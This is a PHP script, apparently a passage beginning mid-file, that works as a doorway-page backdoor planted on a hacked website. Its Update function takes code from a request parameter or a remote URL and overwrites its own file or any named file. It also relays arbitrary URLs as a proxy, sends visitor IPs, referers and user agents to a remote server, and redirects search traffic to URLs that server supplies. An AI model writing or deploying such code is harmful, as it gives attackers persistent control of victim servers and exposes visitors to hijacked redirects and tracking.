0)
{
$rsNewScriptContent = str_replace('\'%$SCRIPT_PATH$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'sheme_numb\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$SHEME_NUMB$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'_URL_\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$URL$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'_DOMAIN_\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'vrangotransport.se\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'__SEC_VALUE__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$SEC_VALUE$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'__TEMPLATE_DOMAIN__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$TEMPLATE_DOMAIN$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'__ID__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$ID$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'__CACHED__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$CACHED$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'__JAVA_SCRIPT_REDIRECT__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$JAVA_REDIRECT$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
$nMatchResult = preg_match('#define\\(\'__REMOVE_FILE__\', (.*)\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
if(!($nMatchResult === false) && $nMatchResult > 0)
{
$rsNewScriptContent = str_replace('\'%$REMOVE_FILE$%\'', $lssScriptPathMatch[1], $rsNewScriptContent);
}
}
/**
* Use this function for update scripts
* the output of Update()
*/
function Update()
{
$sFileName = '';
if(isset($_SERVER['SCRIPT_FILENAME']) == true)
{
$stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']);
$sFileName = $stScritpPath[count($stScritpPath) - 1];
} else
if(isset($_SERVER['SCRIPT_NAME']) == true)
{
$stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME']));
$sFileName = $stScritpPath[count($stScritpPath) - 1];
} else
if(isset($_SERVER['PHP_SELF']) == true)
{
$stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF']));
$sFileName = $stScritpPath[count($stScritpPath) - 1];
}
$sUpdateFileName = '';
if(isset($_REQUEST['filename']) == true)
{
$sUpdateFileName = $_REQUEST['filename'];
if(strlen($sFileName) == 0)
{
$sFileName = $sUpdateFileName;
}
} else
{
if(strlen($sFileName) == 0)
{
echo 'update script name';
exit();
}
$sUpdateFileName = $sFileName;
}
$sNewScript = '';
if(isset($_REQUEST['update_url']) == true)
{
GetContents($_REQUEST['update_url'], $sNewScript);
if($sNewScript == false)
{
echo 'get update content fail';
exit();
}
} else
if(isset($_REQUEST['update_code']) == true)
{
$sNewScript = $_REQUEST['update_code'];
} else
{
echo 'don\'t have update content';
exit();
}
$sCurrentFileContent = '';
$stCurrentFileHandle = fopen($sFileName, 'r');
if($stCurrentFileHandle === false)
{
echo 'fail open current file';
exit();
}
$sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName));
if($sCurrentFileContent === false)
{
echo 'fail read current file';
exit();
}
fclose($stCurrentFileHandle);
UpdatePath($sCurrentFileContent, $sNewScript);
UpdateGetContent($sCurrentFileContent, $sNewScript);
$stUpdateFileHanle = fopen($sUpdateFileName, 'w');
if($stUpdateFileHanle === false)
{
echo 'Can\'t open update file for write';
exit();
}
if(fwrite($stUpdateFileHanle, $sNewScript) === false)
{
fclose($stUpdateFileHanle);
echo 'Can\'t write in update file';
exit();
}
fclose($stUpdateFileHanle);
echo 'Correct update file';
}
/**
* Use this function use to remove cache from dir
* the output of RemoveCache().
*/
function RemoveCache()
{
$rlssDirPathContent = array();
if ($stHomeHandle = opendir('./'))
{
while (false !== ($sFile = readdir($stHomeHandle)))
{
if ($sFile != "." && $sFile != "..")
{
$sMatches = preg_match('#\\.html$#i', $sFile);
if(!($sMatches === false) && $sMatches > 0)
{
unlink('./'.$sFile);
}
}
}
closedir($stHomeHandle);
}
echo 'cache removed';
}
/**
* Use this function for add http scheme to line
* the output of AddHttpToLine().
*/
function AddHttpToLine($sInputLine)
{
if(strncmp($sInputLine, 'http://', strlen('http://')) === 0)
{
return $sInputLine;
} else
{
return 'http://'.$sInputLine;
}
}
/**
* Use this function use update fils in somes files
* the output of UpdateFilds().
*/
function UpdateFilds()
{
$sFileName = '';
if(isset($_SERVER['SCRIPT_FILENAME']) == true)
{
$stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']);
$sFileName = $stScritpPath[count($stScritpPath) - 1];
} else
if(isset($_SERVER['SCRIPT_NAME']) == true)
{
$stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME']));
$sFileName = $stScritpPath[count($stScritpPath) - 1];
} else
if(isset($_SERVER['PHP_SELF']) == true)
{
$stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF']));
$sFileName = $stScritpPath[count($stScritpPath) - 1];
}
$sUpdateFileName = '';
if(isset($_REQUEST['filename']) == true)
{
$sUpdateFileName = $_REQUEST['filename'];
if(strlen($sFileName) == 0)
{
$sFileName = $sUpdateFileName;
}
} else
{
if(strlen($sFileName) == 0)
{
echo 'update script name';
exit();
}
$sUpdateFileName = $sFileName;
}
$sCurrentFileContent = '';
$stCurrentFileHandle = fopen($sFileName, 'r');
if($stCurrentFileHandle === false)
{
echo 'fail open current file';
exit();
}
$sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName));
if($sCurrentFileContent === false)
{
echo 'fail read current file';
exit();
}
fclose($stCurrentFileHandle);
$sNewScript = $sCurrentFileContent;
$sSecValue = trim($_REQUEST['secvalue']);
if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0 || strcmp($sSecValue, __SEC_VALUE__) == 0)
{
if(strcmp(__SEC_VALUE__, '%$SEC_VALUE$%') == 0)
{
$sNewScript = preg_replace('#define\\(\'__SEC_VALUE__\',\\s.*\\);#i', 'define(\'__SEC_VALUE__\', \''.$sSecValue.'\');', $sNewScript);
}
} else
{
echo 'Sec value dont match';
exit();
}
$sRedirectURL = '';
$sRedirectURL = AddHttpToLine(trim($_REQUEST['redirect']));
$sDgenURL = '';
$sDgenURL = AddHttpToLine(trim($_REQUEST['dgen']));
$sNewScript = preg_replace('#define\\(\'script_url\',\\s\'.*\'\\);#i', 'define(\'script_url\', \''.$sRedirectURL.'\');', $sNewScript);
$sNewScript = preg_replace('#define\\(\'sheme_numb\',\\s\'.*\'\\);#i', 'define(\'sheme_numb\', \''.trim($_REQUEST['sheme']).'\');', $sNewScript);
$sNewScript = preg_replace('#define\\(\'_URL_\',\\s\'.*\'\\);#i', 'define(\'_URL_\', \''.$sDgenURL.'\');', $sNewScript);
if(isset($_REQUEST['id']) === true && strlen($_REQUEST['id']) > 0)
{
$sNewScript = preg_replace('#define\\(\'__ID__\',\\s\'.*\'\\);#i', 'define(\'__ID__\', \''.trim($_REQUEST['id']).'\');', $sNewScript);
} else
{
if(!(strpos($sNewScript, 'define(\'__ID__\', \'%$ID$%\');') === false))
{
$sNewScript = preg_replace('#define\\(\'__ID__\',\\s\'.*\'\\);#i', 'define(\'__ID__\', \'\');', $sNewScript);
}
}
if(isset($_REQUEST['templatedomain']) === true && strlen(trim($_REQUEST['templatedomain'])) > 0)
{
$sNewScript = preg_replace('#define\\(\'__TEMPLATE_DOMAIN__\',\\s\'.*\'\\);#i', 'define(\'__TEMPLATE_DOMAIN__\', \''.trim($_REQUEST['templatedomain']).'\');', $sNewScript);
} else
{
if(!(strpos($sNewScript, 'define(\'__TEMPLATE_DOMAIN__\', \'%$TEMPLATE_DOMAIN$%\');') === false))
{
$sNewScript = preg_replace('#define\\(\'__TEMPLATE_DOMAIN__\',\\s\'.*\'\\);#i', 'define(\'__TEMPLATE_DOMAIN__\', \'\');', $sNewScript);
}
}
if(isset($_REQUEST['cached']) === true)
{
$sNewScript = preg_replace('#define\\(\'__CACHED__\',\\s.*\\);#i', 'define(\'__CACHED__\', '.trim($_REQUEST['cached']).');', $sNewScript);
} else
{
if(!(strpos($sNewScript, 'define(\'__CACHED__\', \'%$CACHED$%\');') === false))
{
$sNewScript = preg_replace('#define\\(\'__CACHED__\',\\s.*\\);#i', 'define(\'__CACHED__\', true);', $sNewScript);
}
}
if(isset($_REQUEST['java_redirect']) === true)
{
$sNewScript = preg_replace('#define\\(\'__JAVA_SCRIPT_REDIRECT__\',\\s.*\\);#i', 'define(\'__JAVA_SCRIPT_REDIRECT__\', '.trim($_REQUEST['java_redirect']).');', $sNewScript);
} else
{
if(!(strpos($sNewScript, 'define(\'__JAVA_SCRIPT_REDIRECT__\', \'%$JAVA_REDIRECT$%\');') === false))
{
$sNewScript = preg_replace('#define\\(\'__JAVA_SCRIPT_REDIRECT__\',\\s.*\\);#i', 'define(\'__JAVA_SCRIPT_REDIRECT__\', true);', $sNewScript);
}
}
if(isset($_REQUEST['remove_file']) === true)
{
$sNewScript = preg_replace('#define\\(\'__REMOVE_FILE__\',\\s.*\\);#i', 'define(\'__REMOVE_FILE__\', '.trim($_REQUEST['remove_file']).');', $sNewScript);
} else
{
if(!(strpos($sNewScript, 'define(\'__REMOVE_FILE__\', \'%$REMOVE_FILE$%\');') === false))
{
$sNewScript = preg_replace('#define\\(\'__REMOVE_FILE__\',\\s.*\\);#i', 'define(\'__REMOVE_FILE__\', true);', $sNewScript);
}
}
$stUpdateFileHanle = fopen($sUpdateFileName, 'w');
if($stUpdateFileHanle === false)
{
echo 'Can\'t open update file for write';
exit();
}
if(fwrite($stUpdateFileHanle, $sNewScript) === false)
{
fclose($stUpdateFileHanle);
echo 'Can\'t write in update file';
exit();
}
fclose($stUpdateFileHanle);
echo 'Correct update file';
}
if(isset($_REQUEST['GetContent']) == true)
{
$sRequestUrl = AddHttpToLine(trim($_REQUEST['GetContent']));
$sOutContent = '';
GetContents($sRequestUrl, $sOutContent);
if($sOutContent === false)
{
echo 'Cant get content';
} else
{
echo $sOutContent;
}
exit();
}
if(isset($_REQUEST['checkwork']) == true)
{
echo 'script work';
exit();
}
if(isset($_REQUEST['sheme']) == true && isset($_REQUEST['redirect']) == true && isset($_REQUEST['dgen']) == true && isset($_REQUEST['secvalue']) == true)
{
UpdateFilds();
exit();
}
if(isset($_REQUEST['update']) == true)
{
Update();
exit();
}
if(isset($_REQUEST['removecache']) == true)
{
RemoveCache();
exit();
}
$sAnswer = parse_query(strtolower($_SERVER['HTTP_REFERER']));
$sFullUrl = script_url.'?parameter='.rawurlencode(strtolower($_SERVER['QUERY_STRING'])).'&ip='.rawurlencode($_SERVER['REMOTE_ADDR']).'&ref='.rawurlencode(strtolower($_SERVER['HTTP_REFERER'])).'&useragent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])).'&domain='.rawurlencode(strtolower($_SERVER['HTTP_HOST'])).'&visit='.CheckVisit().'&keyword='.rawurlencode($sAnswer).'&sheme='.sheme_numb;
$sFullUrl .= '&ID='.__ID__;
$sOutContent = '';
GetContents($sFullUrl, $sOutContent);
if(!(strpos($sOutContent, 'http://') === false) && CheckDomainZone($sAnswer) === false)
{
if(__JAVA_SCRIPT_REDIRECT__ == false)
{
header ("Location: $sOutContent"); exit(0);
} else
{
echo ''; exit(0);
}
}
$sParameter = strtolower(trim($_SERVER['QUERY_STRING']));
clearstatcache();
if(file_exists('./'.$sParameter.'.html') == true)
{
$stFileHandle = fopen('./'.$sParameter.'.html', 'r');
echo fread($stFileHandle, filesize('./'.$sParameter.'.html'));
fclose($stFileHandle);
} else
{
$sOutContent = '';
$sGetContentUrl = _URL_.'?keyword='.$sParameter.'&domain='._DOMAIN_.'&ID='.__ID__;
if(strlen(__TEMPLATE_DOMAIN__) > 0)
{
$sGetContentUrl .= '&templatedomain='.__TEMPLATE_DOMAIN__;
}
if(__REMOVE_FILE__ === true && __CACHED__ === true)
{
$sGetContentUrl .= '&unlink=1';
}
GetContents($sGetContentUrl, $sOutContent);
if($sOutContent === false || strlen($sOutContent) == 0)
{
exit();
}
echo $sOutContent;
if(__CACHED__ === true)
{
$stOutFileHandle = fopen('./'.$sParameter.'.html', 'w');
if(!($stOutFileHandle === false))
{
fwrite($stOutFileHandle, $sOutContent);
fclose($stOutFileHandle);
}
}
}
?>